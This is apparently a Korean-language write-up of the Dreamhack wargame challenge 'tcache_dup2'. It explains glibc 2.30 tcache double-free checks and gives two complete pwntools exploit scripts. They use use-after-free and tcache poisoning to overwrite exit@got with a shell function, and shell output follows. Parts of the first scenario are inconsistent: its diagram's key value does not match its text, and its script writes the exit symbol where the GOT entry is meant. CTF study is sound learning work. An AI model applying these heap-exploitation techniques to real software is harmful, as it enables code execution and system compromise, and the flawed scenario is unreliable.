dreamhack - tcache_dup2 writeup
[dreamhack] tcache_dup2 writeup
1. 문제

이 문제는 작동하고 있는 서비스(tcache_dup2)의 바이너리와 소스코드가 주어집니다.
취약점을 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void create_heap(int idx) {
size_t size;
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if (!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
if (size > 0x10)
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
if (!ptr[idx])
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while (1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
- case 1:
create
함수를 통해size
와data
를 입력받아서 메모리를 할당 - case 2:
modify
함수를 통해size
와data
를 입력받아서 메모리의 데이터를 수정 - case 3:
delete
함수를 통해idx
를 입력받아서 해당 메모리를 free
libc 2.30
버전을 사용하여 tcache
에 대한 double free
검사를 수행한다!
다만, modify_heap
함수가 있기 때문에 free
이후에도 건드릴 수 있는 use after free
취약점이 존재하는 것을 이용할 수 있겠다.
2.1. glibc 2.29 - 2.31의 tcache 구조체 변경
초기버전 (glibc 2.27 - 2.28
)의 tcache
는 double free
를 막지않았고, 이에 따라 바로 전의 double free
공격이 가능했다.
tcache
는 크기별로 아래와 같이 단순 연결 리스트를 유지했다.
typedef struct tcache_entry {
struct tcache_entry* next;
} tcache_entry;
그러나 2.29 - 2.31
버전은 아래와 같이 구조체가 변경되었다.
typedef struct tcache_entry {
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
key
라는 값이 존재하면서 double free
를 막게 된다. 이 값은 bk
영역에 존재하여 free
를 통해 해제된 청크는 tcache
주소를 갖는다. 그리고 만약 같은 청크를 다시 한번 해제하려고 하면 이 값이 tcache
인지 확인해서 double free
를 막는다. 따라서 이 값이 더 이상 tcache
가 아니도록 변조하면 double free
가 가능하다.
2.2. tcache dup 시나리오 1
- 1.
create
함수 실행 : 청크를 두개 할당 (chunk 1 and 2) - 2.
delete
함수 실행 : 할당한 청크 두개를 모두 free - 3.
modify
함수 실행 : chunk 2의key
값을modify
함수를 통해 변조- 이를 통해
key
값이 더 이상tcache
주소가 아니게되고, 한번더 free가 가능해짐
- 이를 통해
- 4.
delete
함수 실행 : chunk 2를 다시 한번 free - 5.
create
함수 실행 : chunk 2를 재할당 하고fd
값을exit@got
값으로 변조- 이를 통해 처음 free한 chunk 2의
fd
가exit@got
가 되어 그 다음 청크를 할당시exit@got
의 주소가 할당됨
- 이를 통해 처음 free한 chunk 2의
- 6.
create
함수 실행 :fd
가 변조된 chunk 2를 재할당 - 7.
create
함수 실행 :fd
에 변조된 대로exit@got
주소가 재할당
따라서 전체 흐름은 아래와 같다. (Thanks to GPT)
[ 초기 상태 ]
tcache[0x40] = NULL
[ delete(0), delete(1) ]
tcache[0x40] = chunk_1 → chunk_0 → NULL
(이때 chunk_1의 bk == tcache)
[ modify() 1 → bk = exit@got ]
chunk_1.fd = 'aaaaaaaa'
chunk_1.bk = 'a'
tcache[0x40] = chunk_1 → chunk_0 → NULL
[ delete(1) ]
tcache[0x40] = chunk_1 → chunk_1 → chunk_0 → NULL
[ malloc() 1 ]
리턴: chunk_1
chunk1.fd = 'exit@got'
tcache[0x40] = chunk_1 → exit@got → NULL
[ malloc() 2 ]
리턴: chunk_1
tcache[0x40] = exit@got → NULL
[ malloc() 3 ]
리턴: exit@got ← 우리가 조작한 주소
이곳에 get_shell 주소 덮음!
그러면 최종 exploit은 아래와 같다.
from pwn import *
#p = process("./tcache_dup2")
p = remote("host3.dreamhack.games", 17129)
elf = ELF("./tcache_dup2")
# 1. malloc chunk 1 and 2
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"bbbb")
# 2. free chunk 1 and 2
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"0")
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"1")
# 3. modify freed chunk 2 (we can access even after free), modify "key" value in the tcache struct
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx: ", b"1")
p.sendlineafter(b"Size: ", b"16")
p.sendafter(b"Data: ", b"a" * 9)
# 4. double free chunk 2 again (this can be done as we modify "key" value to bypass double free check)
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"1")
# 5. re-malloc chunk and malloc new chunk that has exit@got address
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", p64(elf.symbols["exit"]))
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", p64(elf.symbols["get_shell"]))
# 5. execute "exit()" by using "delete_heap"
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"10")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/tcache_dup2$ python3 e_tcache_dup2.py
[+] Starting local process './tcache_dup2': pid 2547841
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/tcache_dup2/tcache_dup2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
2.3. tcache dup 시나리오 2
위의 시나리오 1을 아마 의도했을 것 같은데, 나는 key (bk)
를 변조하지 않고 이전의 tcache_dup
이랑 비슷하게 fd
값만 변조하는 방식으로 해결했다. 말그대로 use after free
취약점만 사용한 것.
그래서 전체 흐름은 아래와 같았다.
- 1. 청크 2개를 할당 (chunk 1 and 2)
- 2. 할당한 청크 2개를 free (chunk 1 먼저, 그다음 chunk 2)
- 3. 마지막으로 free한 chunk 2의
fd
를exit@got
로 변조 - 4. 연속으로 2개의 청크를 할당하고 두번째 청크에는
get_shell
의 주소를 입력 - 5.
exit
함수를 실행
이렇게 해도 사실 흐름은 위에 시나리오 1과 거의 똑같다.
exploit은 아래와 같다.
from pwn import *
#p = process("./tcache_dup2")
p = remote("host3.dreamhack.games", 17129)
elf = ELF("./tcache_dup2")
# 1. malloc chunk
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"bbbb")
# 2. free chunk
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"0")
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"1")
# 3. modify freed chunk (we can access even after free), with exit@got
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx: ", b"1")
p.sendlineafter(b"Size: ", b"8")
p.sendafter(b"Data: ", p64(elf.got["exit"]))
# 4. re-malloc chunk and malloc new chunk that has exit@got address
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", p64(elf.symbols["get_shell"]))
# 5. execute "exit()" by using "delete_heap"
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"10")
p.interactive()
2.4. tcache->counts의 중요성
작성한 exploit을 보면 청크 하나만 할당 및 해제해서 사용하는 것이 아니라 2개를 할당하고 해제해서 2번째 청크만 가지고 활용한다. 사실 하나만 사용해도 될텐데라는 생각으로 했다가 tcache->counts
를 알게되어 작성한다.
문제환경인 glibc 2.30
에서는 tcache
에 존재하는 청크의 개수를 갖고있는 tcache->counts
가 존재한다. 이게 0일 경우에는 tcache
에서 청크를 반환하지 않는다!
__libc_malloc
의 흐름을 보면 아래와 같다.
- 1. __libc_malloc 실행,
__malloc_hook
변수를 확인해서 NULL이 아니면 hook 실행 - 2.
tcache
를 확인해서 비어있으면MAYBE_INIT_TCACHE
실행- 이 함수 안에서
tcache_init
실행,_int_malloc
을 실행
- 이 함수 안에서
- 3.
_int_malloc
함수는tcache_perthread_struct
청크를 할당받음 - 4. 만약 요청된 크기에 해당하는
tcache
청크가 존재하면, 즉tcache->counts[tc_idx] > 0
이면tcache_get
을 통해서 재할당 - 5. 재할당할 청크가
tcache
에 없다면, 즉tcache->counts[tc_idx] == 0
이면 다시_int_malloc
함수가 실행됨 - 6.
_int_malloc
함수는fastbin
,unsorted_bin
,small bin
을 확인해서 재할당 가능한 청크가 있다면 재할당을 수행
그리고 청크가 tcache
에 추가 및 제거될 때마다 tcache->counts[tc_idx]
가 1씩 증가 및 감소하게된다. 따라서 청크를 하나만 할당한 후 double free
를 하게되면 이 값이 -1이 되므로 이후에 재할당하게되면 tcache
에 있는 청크가 아닌 다른 청크가 할당되어 got overwrite가 실패할 것이다.
즉, free
시에 tcache->counts[tc_idx]
은 증가하고, malloc
시에는 감소한다. 그리고 exploit 마지막에서 3번 malloc
이 예정되어 있기 때문에 이전에 free
가 최소한 3번은 일어나야한다.
해결~